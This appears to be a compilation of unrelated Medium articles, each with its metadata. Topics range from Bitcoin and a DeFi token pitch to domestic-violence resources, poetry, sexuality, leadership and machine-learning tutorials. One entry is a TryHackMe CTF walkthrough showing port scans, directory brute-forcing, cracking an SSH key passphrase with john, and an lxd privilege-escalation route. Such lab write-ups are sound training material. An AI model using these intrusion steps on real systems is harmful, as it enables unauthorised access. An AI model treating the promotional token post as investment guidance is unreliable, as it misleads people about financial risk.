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Crypto Market Intel: Bitcoin’s ATH is driven by big new investors & low liquidity | BITCOIN ALL-TIME HIGH
Crypto Market Intel: Bitcoin’s ATH is driven by big new investors & low liquidity
It took Bitcoin exactly three years to post its new ATH, closing in on $24k — an extraordinary climb of 26% within one week
If there was one thing to cheer about in 2020, it was the phenomenal growth of Cryptos, lead by the premier digital coin Bitcoin (BTC). At least the crypto traders and investors would say so. There would be very few assets in the financial world that could claim gains of over 200%. Last week was all about Bitcoin’s climb towards its new all-time high of $23,800 — at the time of writing, BTC is trading around $23,140.
BTC is now officially in unchartered price territory as it propelled higher from its previous ATH posted exactly three years ago on Dec. 17, 2017. However, there is one key difference between the two ATHs. While the previous one resulted due to euphoric buying by amateur traders, the recent one is driven by greater demand from institutional buyers — especially in North America.
With every set of new data that we look at, the increasing role of the institutional investors becomes clearer. According to the latest edition of Chainalysis Market Intel, $20+ million investors have acquired half a million bitcoin since September, currently worth $11.5 billion (left chart above). As you can see from the chart, the price of Bitcoin is pretty tightly correlated with the change in BTC held — especially since September.
The same research also highlights another trend — tracking the change in bitcoin held this year in investor wallets that hold 1,000 or more bitcoin (right chart above), but that have held bitcoin for less than a year (< 6 months or 6 months+). As the accumulation of BTC by investors began in September, the strong demand ever since has pushed the price from $10k to above $20k.
Looking at the numbers in the second chart, 801k fewer bitcoin were sent last week compared to the week before 2017’s all-time high on 17 December — of which 546k fewer bitcoin was sent by short term traders. This is significant because short term traders are usually the first ones to book their profits when a financial asset reaches such a milestone. Investors who have recently acquired their bitcoin are also holding on to it more than they did in 2017, sending 318k fewer bitcoin. This is adding to the lack of liquidity.
For investors, who have held their bitcoin for more than six months, have added 68k bitcoin to current liquidity relative to 2017. This shows that although the majority of the traders/investors are bullish on the premier digital asset, others are more cautious in booking their profits at these elevated prices. This also highlights that the seller's dynamic has also changed this time for Bitcoin.
There is no change in the underlying bullish sentiment to signify any major correction for now. But now that Bitcoin has entered uncharted territory and posted a new ATH, a correction here might be healthy and a mark of a matured financial asset. The current macroeconomic environment is also helping BTC sustain the bullish momentum as the supply shrinks due to a larger institutional interest and shrinking liquidity.
Stay informed with the content that matters — Join my mailing list | https://medium.com/technicity/crypto-market-intel-bitcoins-ath-is-driven-by-big-new-investors-low-liquidity-fa01eb2da5c8 | ['Faisal Khan'] | 2020-12-19 02:47:15.387000+00:00 | ['Bitcoin', 'Finance', 'Economics', 'Investing', 'Business'] |
Why It’s OK to Divorce Your Family | Why It’s OK to Divorce Your Family
How to decide if it’s time to break ties with your family members.
Photo by National Cancer Institute on Unsplash
We all have our own ideas of the “perfect family”. Maybe it’s the Cleavers or the Bradys or the Father Knows Best family (am I aging myself here?).
The reality of it is, most of our families don’t measure up to those impossible standards.
Family can be difficult, we all get that. Some family relationships take a lot of work, or a lot of gritting your teeth, or a lot of self-care to navigate. But sometimes you have a family relationship that is beyond repair.
Maybe it’s a parent with severe alcoholism or a sibling with mental illness. Maybe it’s a family member who has done something so awful, there’s no coming back from that. What do you do then?
Sometimes your best option is to sever the relationship and divorce your family member. | https://medium.com/illumination/why-its-ok-to-divorce-your-family-776bf2d91086 | ['Rose Bak'] | 2020-11-06 16:37:19.636000+00:00 | ['Self Care', 'Relationships', 'Family', 'Life', 'Mental Health'] |
#DVAM2019 Denver Awareness and Resources | October is Domestic Violence Awareness Month. Domestic violence is a societal epidemic and contrary to myth and stigma, it affects all communities nationwide, regardless of demographics, economic status, or geography. That includes our very own neighborhood.
According to Violence Free Colorado (VFC), our state coalition against domestic violence and relationship abuse, “Domestic violence is a pattern of coercive, controlling behavior that can include physical abuse, emotional or psychological abuse, sexual abuse or financial abuse (using money and financial tools to exert control).” Despite being pervasive in our society, stigma and shame silence many victims of abuse, and domestic violence is often called a “silent epidemic.”
Please keep in mind that abuse is not the victim’s fault, despite what the abuser might claim, and that nearly one in four adult women is a victim of domestic violence in her lifetime. There is a strong community of help for those who are affected by domestic violence, here in Denver and Colorado, and no survivor is as alone as they may feel.
This is an urgent issue — an average of three women are killed by a current or former intimate partner each day in America. Additionally, being exposed to violence is considered an Adverse Childhood Experience (ACE). ACEs can result in a wide range of negative outcomes for children including problems, including interpersonal skill deficits, psychological and emotional problems such as depression and PTSD, and externalizing behavior problems. An estimated one in six children aged 0–17 years and one third of 14 to 17-year-olds will witness violence against a parent in their lifetime.
Abusers come from all walks of life and fit no typical demographic or specific identity or appearance. The common thread between abusers is their behaviors, and there are “red flags” that may indicate an abusive mindset and warrant concern and exploration. According to VFC, they include:
· They may insist on moving too quickly into a relationship.
They can be very charming and may seem too good to be true.
They might insist that their partner stop participating in leisure activities or spending time with family and friends.
They can be extremely jealous or controlling.
They may not take responsibility for their actions and blame others for everything that goes wrong.
They might criticize their partner’s appearance and make frequent put-downs.
Their words and actions may not match.
If you or someone you know needs support for domestic violence, the organizations below provide advocates who can listen and help you sort out options, help with safety planning, information about welfare, CPS, disability services, immigration, housing, employment protections, emergency shelter or other safe lodging on a temporary basis, longer term housing options for individuals and families, emergency financial support, support groups for children, youth, and adults, legal advocacy, information about protection orders and other civil matters, and more.
However, if you are in a crisis or need immediate help, dial 911 or call the National Domestic Violence Hotline: (800) 799-SAFE (7233) or TTY (800) 787−3224
Rose Andom Center
Denver, CO (Serving Denver County)
Crisis: 720–337–4400
Website: http://roseandomcenter.org
Colorado Anti-Violence Project (serving LGBTQ populations statewide)
Crisis: 888.557.4441
Admin: 303–839–5204
Website: http://www.coavp.org
Project Safeguard (legal advocacy services)
Denver 720.865.9159 * (not a crisis line)
Website: https://psghelps.org
SafeHouse Denver, Inc.
Denver, CO (Serving Denver County)
Crisis: 303.318.9989
Admin: 303.318.9959
Website: https://safehouse-denver.org
*This article was originally written for the Greater Park Hill News but not published. | https://medium.com/@WeAreSeeds/dvam-2019-denver-awareness-and-resources-d2fb6655600 | ['We Are Seeds'] | 2019-10-04 17:05:50.624000+00:00 | ['Denver', 'Resources', 'Domestic Violence', 'Intimate Partner Abuse', 'Dvam2019'] |
[THM] GamingServer | [THM] GamingServer
Link to the room
[Task 1] Boot2Root
First and as always, a port scan is performed to see the possible “entry doors” to the machine:
$ nmap -sC -sV -T4 -oN nmap.log 10.10.194.232
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:54 CET
Nmap scan report for 10.10.194.232
Host is up (0.080s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_ 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.31 seconds
I only get a ssh server and an apache web server
I hang around the web page a bit while doing an automatic scan and I find a directory uploads in which there is a wordlist dict.lst .
$ gobuster dir -u http://10.10.194.232 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q
/uploads (Status: 301)
/secret (Status: 301)
gobuster shows me that there is also a directory / secret which contains a private ssh key, this will allow us to connect to the remote machine
the file is given the necessary permissions with chmod 600 secretKey and ssh is launched with the -i option… it asks for a password
the wordlist probably contains the password so I’m going to launch john the reaper
first you have to traduce the private key to something that john can understand
$ /usr/share/john/ssh2john.py secretKey > secretKey.john
$ john --wordlist=/usr/share/wordlists/rockyou.txt secretKey.john
Created directory: /home/fntkg/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (secretKey)
1g 0:00:00:07 DONE (2020-11-20 23:03) 0.1349g/s 1935Kp/s 1935Kc/s 1935KC/s *7¡Vamos!
Session completed
after this, I am missing a user to connect to, I can find this in a comment in the source code of the website
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
done, I should be able to connect to the remote machine by now
$ ssh -i secretKey [email protected]
load pubkey "secretKey": invalid format
Enter passphrase for key 'secretKey': letmein
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)
What is the user flag?
********************************
What is the root flag?
In order to escalate privileges, I used the linpeas tool which indicated that my user john was in the lxd group.
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.
As the way to exploit this is requires time, I am going to limit myself to sharing here a web page where they explain it very well
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
Note the command $ sudo / home / hayden / go / bin / distrobuilder build-dir alpine.yaml alpine
Error: Error while downloading source: Bad Alpine release: It will give an error, you have to add the following option: $ sudo / home / hayden / go / bin / distrobuilder build-dir -o image.release=3.8 alpine.yaml alpine
After mounting the container, you just have to go to /mnt/root , here is the file system of the machine | https://medium.com/@tocto/thm-gamingserver-4b7dd405006 | [] | 2020-12-27 10:29:27.217000+00:00 | ['Hackathons', 'Cybersecurity', 'Tryhackme', 'Hacking', 'Ctf Writeup'] |
Gratitude | Photo by Lee Luis on Unsplash
The sun shines like gold through the clouds,
The warmth melts the fog on the trees,
The mist parts and you are there;
I am grateful.
© 2020 Robert Faron
Thanks to Sherry Kappel for the thankful prompt “Gratitude”
https://medium.com/chalkboard/in-eternal-gratitude-36a5c6f8fc62
And thanks to Kathy Jacobs, Harper Thorpe), and the entire Chalkboard team. | https://medium.com/chalkboard/gratitude-77f99017b26e | ['Robert Faron'] | 2020-12-01 17:10:58.381000+00:00 | ['Poetry', 'One Line', 'Chalkboard', 'Family', 'Love'] |
Are You Spending The Right Time On The Right Things? | One of the biggest challenges of leadership is evaluating the return on investment (ROI) for your efforts. I am constantly looking for a way to evaluate my leadership effectiveness. How do you put metrics to something as subjective as “developing character and core competencies in your team”? Is there a tool to evaluate our ROI and, hopefully, better use our time in ways that count?
What if you are spending 80% of your time doing something that’s only giving you a nominal-at-best ROI?
What if there is something you LOVE doing, it gives you a huge return, but you’re only spending a few hours a month in that?
I’m a big fan of leadership tools and evaluation systems. One of my earliest posts was walking through what I call the JQA Leadership Evaluation.
Over the past few months, I’ve been experimenting with what I’m calling the Task Revision Evaluation.
The benefit of this tool is that it’s quick, simple, and as helpful as you allow it to be. There are a few disclaimers I’ll go over at the end, so don’t skip those. For now, here is a blank version of the layout, an explanation, and an example.
Yes, that’s my real handwriting. Yes, I’ll let you know what it actually says below the image.
A blank template of the Task Revision Evaluation
TASK — What is it that takes your time?
TIME — How much time does it take? This can be numeric or generic.
PASSION — On a scale of 1–10, how in line with your passions is this task? If you want to up this, don’t pick 7. I wrote a blog post on that, check it out for details.
RETURN — When you look at your job, is this a high, medium, low, or negative return item?
REVISION — In light of this, what are your next steps? Do you need to give it more time? Do you need to change your approach? Do you need to delegate it? Do you need to put some false limits on how much time you spend with it? What are the revisions to your schedule, rhythm, job, or expectations that need to be made to better use your time? | https://medium.com/the-leadership-journal/are-you-spending-the-right-time-on-the-right-things-55a83b83d97d | ['Austin Walker'] | 2019-12-13 06:01:02.096000+00:00 | ['Self Improvement', 'Work', 'Leadership', 'Productivity', 'Efficiency'] |
Why Women in Their 40s Are Sex Goddesses | I didn’t go into my forties with any kind of grace. Honestly, it was terrifying. I’d just been left by the man I thought I would marry — and not just left, but left for another woman. A much younger woman.
I was always smiling on the outside — because that’s what I do — but on the inside, I was trembling. I only saw flaws in the mirror. I felt so old and useless. I genuinely didn’t believe that anyone, especially a man, would ever be able to look at me as a sexual being again. It seemed like I should just lie down on the floor, curl up into a ball, and wither away like the old crone I was becoming.
And don’t even get me started on how I felt about not having had the child I had always dreamed of. There was a time when I envisioned my uterus as a dried up husk that was left behind after the beautiful, juicy, tender tomatillo inside it had rotted away. (Yes, even my imagination is melodramatic and filled with poetic metaphors.)
What was I going to do with myself? I wondered, as I’d stare into the mirror, counting my wrinkles and wondering if my ex was pounding away at his new, young lover in that very moment. Who was I as a woman? Where was I headed?
Was it all over?
Let me tell you a little secret if you are creeping toward 40 and pretending not to freak out about it: The forties are fucking glorious. Granted, I’m only three years in, but it’s been a pretty sweet ride so far.
It’s true, I’m still single and not getting much — okay any — action with an actual person. But you know…I can take care of myself. And I do. Often.
So why is it so great? Let me enlighten you.
I’m more confident
I know exactly how my body gets to orgasm. I know every little thing it likes. I know what it needs to feel loved, I know what it needs to feel aroused, and I know what it needs to get off. And I’m no longer too shy to clearly communicate this.
And though I struggle deeply to this day with body image issues, I’m healthier and more willing to be vulnerable than I’ve ever been. (As you can tell by my Instagram feed.)
Let me put it this way: I’m not going to let my stretch marks or my chubby ass keep me from having an orgasm.
My mind is wide open
Though I’ve always been very sexually open-minded about other people’s sex lives, I’ve been pretty traditional and conservative in my own sexual expression. But being single and childless in middle age has one distinct advantage: I don’t have to worry about upholding an institution within my life that I created in my youth.
In other words, nothing is holding me back. I can consider being in an open relationship, having a threesome, or being full-on polyamorous because I have no marriage that would be threatened. I have no child whose worldview revolves around having two monogamous parents.
It feels like everything is possible and my response to things that used to feel too daring for me are now often met with the question: Why not?
My libido is deliciously high
This isn’t really anything new for me. I’ve always had a high sex drive. But when I hit those hormonal peaks…damn.
That’s not ideal being single in a conservative town where everyone has been married since they were 20, but again, I can take care of myself for now and channel some of this energy into my work.
The best part about this, however, is that at a time in a woman’s life when she’s entering middle age and doubting her sexual viability, feeling this intense sexual energy reminds me that I’m still me. I’m still here. I’m still a goddess.
Everyone is attractive
Who knew there would be a point in my life where I would find so many age groups attractive? I love a young man in his twenties with that plump, delicious skin that looks like a ripe fruit. I also love a man with gray hair and thick knuckles that would look so hot against my smooth (okay, stretch-marked) skin. Yum.
I always felt an attraction to women, even in my youth, but now my tongue falls out of my mouth every time I see a little cleavage on social media or a woman with a bouncy ass at the grocery store.
Yes, I will take everything on the menu. Thanks. | https://medium.com/the-bad-influence/why-women-in-their-40s-are-sex-goddesses-8fb4455845c6 | ['Yael Wolfe'] | 2020-02-04 16:53:06.981000+00:00 | ['Sex', 'Sexuality', 'Relationships', 'Aging', 'Women'] |
Trapped | I squirm and I twist
Trying to adjust
Like a sweater that doesn’t fit right
Or it’s twisted and crooked
The buttons are awry
And the sleeves are too short
I pull and I turn and I shift
Nothing seems to work
It’s like my skin doesn’t fit
I’ve been put in this suit
That wasn’t meant for me
Trapped and constrained
A stranger in this shell
Unable to escape it
This body that isn’t mine | https://medium.com/imperfect-words/trapped-b99175e9c9ce | ['Edie Tuck'] | 2020-01-28 13:43:18.042000+00:00 | ['Poetry', 'Skin', 'Trapped', 'Uncomfortable', 'Caged'] |
Coffee Table Books | Unsplash: Claudia Lorusso, Antwerp Port House by Zaha Hadid Architects, Antwerp, Belgium
I’ve always had a deep love for a good ole coffee table book. I could spend days, on end, flipping through the home and design architecture section at Indigo. I have spent years collecting modern hygge books about dazzling interior, visual culture, architectural design and beautiful aesthetics. There’s something so comfortable about sitting down, lighting a candle and flipping through pages to discover the secrets of unique spaces.
Galesten
I love many brands and authors, by far love the Gestalten collection, a German publisher that has a wide array of visual design books on art, architecture and lifestyle. Galesten focuses on developing content about visual culture and contemporary creativity.
Books are available on websites and local bookshops:
Zaha Hadid
Dame Zaha Hadid was a world-renown British-Iraqi architect, she had an extraordinary and innovative eye for designing. Hadid pushed beyond boundaries/stereotypes as a feminist architect, her flamboyant buildings and designs left a mark for generations. Hadid was the first woman to win the Pritzker Architecture Prize, 2004 and the first woman to win the Royal Institue of British Architecture Gold Mold in 2016.
Books are available on websites and local bookshops:
Travel by Design is the classic travel guide you’ve always wanted, including over 350 photographs of exotic vacations and international cities. The captivating images are paired with remarks from designers and creatives about their must-see destinations. This lovely collection of locales provides inspiration for anything from secret shopping suggestions to restaurant recommendations.
This is Home is a detailed guide to designing genuine, heartfelt interiors. It’s about living simply — figuring out what makes you happy at home and constructing spaces that reflect your wants and requirements. It illustrates that you don’t need a lot of money to construct a beautiful house, owing to its creative ideas and places. This is Home includes examples and case studies.
Please comment down below your favourite architecture/design coffee books. | https://medium.com/@imanhersi/coffee-table-books-1ad5e996242e | ['Iman Hersi'] | 2021-07-06 18:44:29.448000+00:00 | ['Books And Authors', 'Urbanism', 'Architecture', 'Interior Design', 'Coffee Culture'] |
Two Benefits Of Teaching Others | I’ve been a teacher in some form or fashion for most of my life. I tutored other students in high school. I owned a company that helped attorneys explain complex patent technology and business concepts to judges and juries during trials. I trained and mentored my employees.
I also oversaw the IT of our small company, and I frequently helped troubleshoot technology issues for my employees. I’ve become someone whom my friends and family ask for help with their technology problems.
I love gadgets, and I’ve given countless tutorials to curious strangers on new products people see me using on airplanes or in convention halls. In recent years, I have coached and mentored others in business matters, personal goal setting, and mindsets that allow them to live fulfilled lives.
Taking on the challenge of sharing your knowledge with others may seem daunting at first, but it is well worth it. Teaching other people what you know is a win-win scenario. My experiences sharing my knowledge with others have enriched my life in several ways.
Benefit #1: Change the way you view yourself and others.
Everyone has something valuable to share, and anyone can teach other people something of value. You may not believe that you have something to offer others, but you do. We each possess skills, knowledge, and experience that combine to give us a unique perspective on life.
Our unique abilities can be easy to overlook or to discount completely. We can be forgiven if we do not feel like we are novel or have an interesting life story. After all, our own experience is the only one we have ever known.
Even if your knowledge base overlaps with others, your unique voice and perspective can provide new insights to others.
Teaching other people new skills and mindsets allowed me to see my own uniqueness and to recognize the same in other people. It’s one thing to possess the knowledge that you have inherent self-worth and something unique to offer others, but it is quite another thing to experience the positive impact you can have on other people.
Knowledge is no substitute for experience, and experience comes only from sharing and by teaching others what you know.
Benefit #2: Become a better, more empathetic listener.
Being effective at teaching others requires that you learn to listen carefully to the person you are teaching. Teaching requires you to step outside of your head and subdue your internal dialogue.
To teach effectively, you must hear the descriptions and instructions you use from the perspective of the person you are teaching. That means you need to find out how much others do or do not know and how proficient they are in the subject matter you are teaching. You learn not to make assumptions and instead ask questions.
You will have to pay attention to people’s body language and facial expressions to determine if they understand what you are telling them. A good teacher does not blame the student for their lack of understanding; teachers ask themselves how to improve their communication to allow others to understand their message. When in doubt, you learn to ask the students and get direct feedback.
Adopt a teaching mindset and improve your life.
You have something unique to offer others. You may not believe that you have something to offer others, but you do. You possess skills, knowledge, and experience that combine to give you a unique perspective on life. Do not overlook or discount your uniqueness.
Embrace the fact that you have inherent self-worth and something to offer others. Share the things that excite you in life. You know things that plenty of other people do not know, and their lives will be enriched through your sharing.
Likewise, everyone else has something to offer us if we listen. It is easy to ignore others because we believe that we already know what they are sharing. That may be true, but we can still learn something from them by paying attention to their unique perspective that reveals a new aspect of the subject matter.
Through teaching others, I’ve become more willing to share my viewpoint when elicited, instead of keeping quiet and believing that I had nothing to contribute. I have also become more receptive to what other people have to share and to learn from their singular perspective.
The process of teaching others has also allowed me to step outside of myself and to connect with other people. I now have more empathy for others, and I can better see the world — and see my words — from other people’s perspectives. This practice has caused me to stop blaming other people when there is a miscommunication between us, which has dramatically improved my relationships.
Discover how you can enhance your experience of yourself, your life, and others by sharing what you’ve learned with other people. | https://medium.com/curious/two-benefits-of-teaching-others-4caac17f1433 | ['Kelly Roberts'] | 2020-11-26 00:10:06.482000+00:00 | ['Self Improvement', 'Personal Growth', 'Relationships', 'Self', 'Communication'] |
DefYield- The Yield generator Protocol. $DEFY | ABOUT DEFYIELD
DefYield is a DeFi ecosystem, having fixed supply of DEFY tokens, aiming to provide great yield generating investments’ strategies to long-term crypto investors in both markets going up or down.
Presently, the usual practice to secure assets during market dumps is converting them to stable coins which can thereafter be staked or farmed into various DeFi protocols generating yields on the underlying assets.
However, currently there is no incentive to hold cryptocurrencies during market’s dumps other than further accumulation. Therefore, to reward holders with accurate portfolio’s and own liquidity’s management, DefYield aims at implementing new autonomous yields generating solutions. It facilitates in automatically yield generation based on best opportunities present in the market.
INTRODUCING DEFY
The native token of the DefYield ecosystem, called DEFY, will facilitate holders to stake or farm their assets into capital pools with different pre-defined lock-up terms, for returns inline with dynamic APY. However, all these pools will offer the option to stakers and farmers to withdraw their assets at any time by absorbing a Premature withdrawal fee (“PWF”) if the assets are withdrawn before the period of the lock-up term.
These PWF will be the first revenues’ source for stakers and farmers who have accurately managed their portfolio and own liquidity’s requirements. Indeed, an investor managing properly his cash flow forecasts and portfolio allocation will be comfortably able to stay within the selected pool until the end of the lock-up term thus avoiding him to pay any PWF. Moreover, it will allow them earning the PWF from investors who withdraw their funds due to liquidity requirement or due to unfavorable market moves.
Further, a second yield generating mechanism will be implemented to seamlessly generate income for DEFY stakes and farmers. Indeed, every new product of the DefYield ecosystem will require an entrance fee and apply a profit-sharing on the generated revenues. Both of these incomes will be sourced to stakers and farmers.
Unlike most of other DeFi protocols existing nowadays, these two mechanisms will continuously generate yields to stakers and farmers in a non-inflationary way. Indeed, no additional DEFY token will ever be minted thus distinguishing it from other inflationary tokens which have to continuously mint new tokens to enhance their APY. | https://medium.com/@defyield/defyield-the-yield-generator-protocol-defy-d2008e69dfb8 | [] | 2021-01-03 13:55:29.446000+00:00 | ['Crypto', 'Airdrop', 'Cryptocurrency', 'Presales', 'Uniswap Airdrop'] |
HolidayDAO Newsletter (12th Dec 2021) | Welcome everyone to the second newsletter of the HolidayDAO 🎉
We have plenty of spicy updates certain to get you excited for December. It’s been another wild week, for the DAO. We’ve continued to reach out for bigger partnerships, are in advanced development for the next collection and even had our first vote with a landslide decision which took place.
Updates for marketing (Past week):
Ads are live on Facebook and Instagram
So far reach has been good, with cost per click to magic eden being about 0.24 USD.
Finalised Airdrop and artwork
Increased floor price and trading volume
Collaboration giveaways with Culutre of Woman, SolanaDrinks and Not A Pug
Collaborations secured for once the artwork is complete
Held our first vote and decided to change the Discord and Twitter account of SMHC to Moon Land Estates
Updates for development (Past week):
Set up sales bot
Set up DAO verification bot
Updates for marketing (Next week):
Looking into billboard ads
More collaborations
Beginning marketing for Moon Land Estates
Updates for development (next week):
Demo on metaverse
These are all of the immediate plans we have in place. At any time, we are a community and any suggestions and ideas are immensely appreciated. We could not do this without you.
As things are confirmed, we will continue to release more juicy information to the community! So stay tuned. | https://medium.com/@HolidayDAO/holidaydao-newsletter-12th-dec-2021-bfd97a20e0e5 | [] | 2021-12-13 05:30:26.597000+00:00 | ['Solana', 'Property', 'Crypto', 'Dao', 'Nft'] |
Space Invasion | Space Invasion
What’s one to do?
Image by Alexas-fotos on Pixabay
Tiny opened his eyes and blinked as he adjusted to the sunlight. The power nap had done him good. He looked around at his partners who were busy at work. Life was hard nowadays. Living space was short too as the population around them grew.
Stepping outside Tiny noticed newly assembled building equipment. New flats would soon grace the landscape.
Tiny sighed. What had happened to the good old days when one could choose where one lived? He pushed the thoughts aside. There was work to do but where does an ant go when humans invade his space? | https://medium.com/vital-world-online/space-invasion-13984ad9d109 | ['Rejoice Denhere'] | 2020-12-23 09:50:54.461000+00:00 | ['Flash Fiction', 'Writing', 'Fiction', 'Fiction Writing', 'Short Story'] |
Building an Image Classification Model with CNN | First Model
As our baseline model, we will build a simple convolutional neural network that takes in images after resizing them to be a square matrix and normalizing all pixel values to range from 0 to 1. The full step is shown below.
Now I will explain each step in detail.
1. Scaling Data
keras.image.ImageDataGenerator() takes images and create augmented data based on the parameters. Here we are just asking it to rescale all pixel values to be 0 to 1 without specifying any other augmentation parameters. Combined with flow_from_directory , the generator calls images from the directory in the assigned format, then creates rescaled data.
2. Building a Model Architecture
keras.models.Sequential() initiates a sequential model. This model will sequentially process the added layers.
Conv2D layers are the convolutional layers, which takes the input and runs them through the assigned number of filters. Kernel size refers to the dimension of filters. So in this example, each consecutive group of 3*3 pixels in our 256*256*1 image (1 referring to the number of channels, RGB images have 3 channels, while grayscale images have 1 channel) will run through 32 filters generating 32 feature maps with a size of 256*256*1.
padding = ‘same' is used to add equal paddings around our window since 256 is not divisible by 3.
activation = 'relu' means that we are assigning the rectified linear unit as our activation function. Simply put, we are telling the layer to convert all our negative values to 0.
We then feed these outputs from convolutional layers into the pooling layer. The MaxPooling2D layer abstracts the convolved outputs by only leaving the maximum value of each of the 2*2 matrices of the convolved output. Now we would have 32 feature maps with the size of 128*128*1.
Now we need to narrow down these 4-dimensional outputs to a single number that can tell us whether to classify the image as pneumonia or normal. We do this by first flattening the layer into a single dimension then running them subsequently through smaller and smaller dense layers. A sigmoid function is applied as an activation function on the final layer because we now want the model to output a probability of whether the output is pneumonia or not.
3. Configuration
We have defined the architecture of our model. The next step is to decide the goal of this model and how we want it to get there. Using model.compile , we tell the model to minimize the binary cross-entropy loss (the log-loss, think logistic regression) using the gradient-descent. Here we are using the RMSprop algorithm to optimize this process by adaptively decreasing the learning rate. In the later model, I used the AMSGrad algorithm, which performed better for our problem.
4. Fitting Data
Finally, we finished constructing our model. It’s time to fit our training data! Each epoch will run 32 batches by default. We are setting EarlyStopping to prevent overfitting. This model will stop running if our validation loss is not reduced for 5 consecutive epochs. I set the restore_best_weights to be true so it will revert to the highest performing weights after those 5 epochs. It tests its performance on the validation generator we created earlier.
5. Evaluation
Our first model showed 94% accuracy predicting the class of validation data with the log loss of 0.11. Based on the below graph, we can see that training loss has room to improve so we can probably increase the complexity of the model. Also, the validation loss seems to be hovering around 0.1. We can try to improve generalizability by imitating adding more data using data augmentation.
Here’s a full code to plot the loss graph and accuracy graph from the fitted model. | https://towardsdatascience.com/detecting-pneumonia-using-convolutional-neural-network-599aea2d3fc9 | ['Eunjoo Byeon'] | 2020-12-15 16:23:16.427000+00:00 | ['Convolutional Network', 'Keras', 'Image Classification', 'Medical', 'Data Science'] |
Geo-Referencing a Figure as an Image | Creating the Example maps
Note that in this example, the (city) points are shown and saved with the image below, to prove that the method is returning the desired result. The code is intended to run without the control points enabled.
# print(eea_FR.total_bounds)
# Expanding the area of interest to have a bit clearnace around the edges of the data
# Values are set to get an image which is almost square
(~7.86 x7.86 // ~12.25x12.25)
# These values have to be set based on the area of interest and the projection:
('Map1 Width: ', 7.852 // Height: 7.877)
('Map2 Width: ', 12.245 // Height: 12.269) Code section << Creating the Example maps>> not fully displayed
Result of the reprojection
The image below the code block shows the effect of the projection of the vector data in both the original and target projection systems.
#Combining the two maps #figsize : (float, float), as width, height
#f, ax = plt.subplots(1, figsize=((maxx2 - minx2)/150000,(maxy2 - miny2)/150000))
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15,7.5))
fig.suptitle('Two map Projections', fontsize=20)
ax1.set_title('France in EPSG:4326 (Geodetic)', fontsize=15)
ax2.set_title('France in EPSG:3395 (Mercator)', fontsize=15)
ax1.set(xlim=(minx1, maxx1), ylim=(miny1, maxy1))
ax2.set(xlim=(minx2, maxx2), ylim=(miny2, maxy2))
ax1.set_axis_off()
ax2.set_axis_off() #plotting on the defined axis => ax1=ax1
eea_FR.plot(color='lightgrey', edgecolor='white', ax=ax1)
rdf.plot(facecolor='none', color='none', edgecolor='grey', ax=ax1)
eea_FRA.plot(facecolor='none', color='none', edgecolor='black', ax=ax1) #plotting on the defined axis => ax=ax2
eea_FR_rp.plot(color='lightgrey', edgecolor='white', ax=ax2)
rdf_rp.plot(facecolor='none', color='none', edgecolor='grey', ax=ax2)
eea_FRA_rp.plot(facecolor='none', color='none', edgecolor='black', ax=ax2) # In this example the points are on, and saved with the image, to prove that the
# method is returnin the desired result.
# The code is intended to run without the contol points
geo_FR_df.plot(ax=ax1, facecolor='black', edgecolor='red')
points.plot(ax=ax2, facecolor='black', edgecolor='red') plt.savefig('FRA_map1.eps', dpi=1080, bbox_inches='tight')
plt.show()
The difference in map projection (EPSG: 4326 to 3395)
This is the example background map, with France in grey, and white provincial boundaries, the borders of the countries surrounding France are set to dark grey without a fill.
When you are running this code with your own data, the layout can be set to your personal preferences. I like background maps to be as neutral as possible so that the attention is drawn to the essential elements of the map, in this case, the major cities in France.
Preparing the export
The next section of the code is preparing the formatted figure, as a background map, to be saved in a GeoTIFF format. The advantage of using the GeoTiff format when exporting is because metadata information is embedded in the image.
When using the exported GeoTiff in a new figure, the metadata will be used to reconstruct the background image, including projection, pixel size, and figure dimensions.
Data preparation
Data visualisation of the background map is not necessary, the final (right side) figure is handled in memory.
Code section << Data preparation>> not displayed, duplicating the earlier code block
Converting the figure
This is the most crucial step in the process, the figure is converted to a multi-dimensional array, storing the pixels in width and height, and the colour depth. Please, follow the link below for detailed information about the method.
# https://matplotlib.org/3.1.1/gallery/
user_interfaces/canvasagg.html # MatPlotLib as another method to convert a Canvas to an Array:user_interfaces/canvasagg.html canvas = FigureCanvasAgg(f)
# Save the figure to a string.
canvas.draw()
s, (width, height) = canvas.print_to_buffer() # Convert to a NumPy array.
X = np.frombuffer(s, np.uint8).reshape((height, width, 4))
Converting the Data Array
The original colours are stored in the last dimension of the image matrix, as a list with four attributes. In this example, the colours are compressed to a grey value because the created map is a background map with neutral colours. The fourth column is used for alpha (transparency) which is not used in this example and is set to 0. When creating a more complex background map, this fourth element could be used, but with this map, there is no need to store the original values in a multi-band image.
Colour Conversion Function:
Y = (0.2989 * (X[:,:,0])) +
(0.5870 * (X[:,:,1])) +
(0.1140 * (X[:,:,2]))
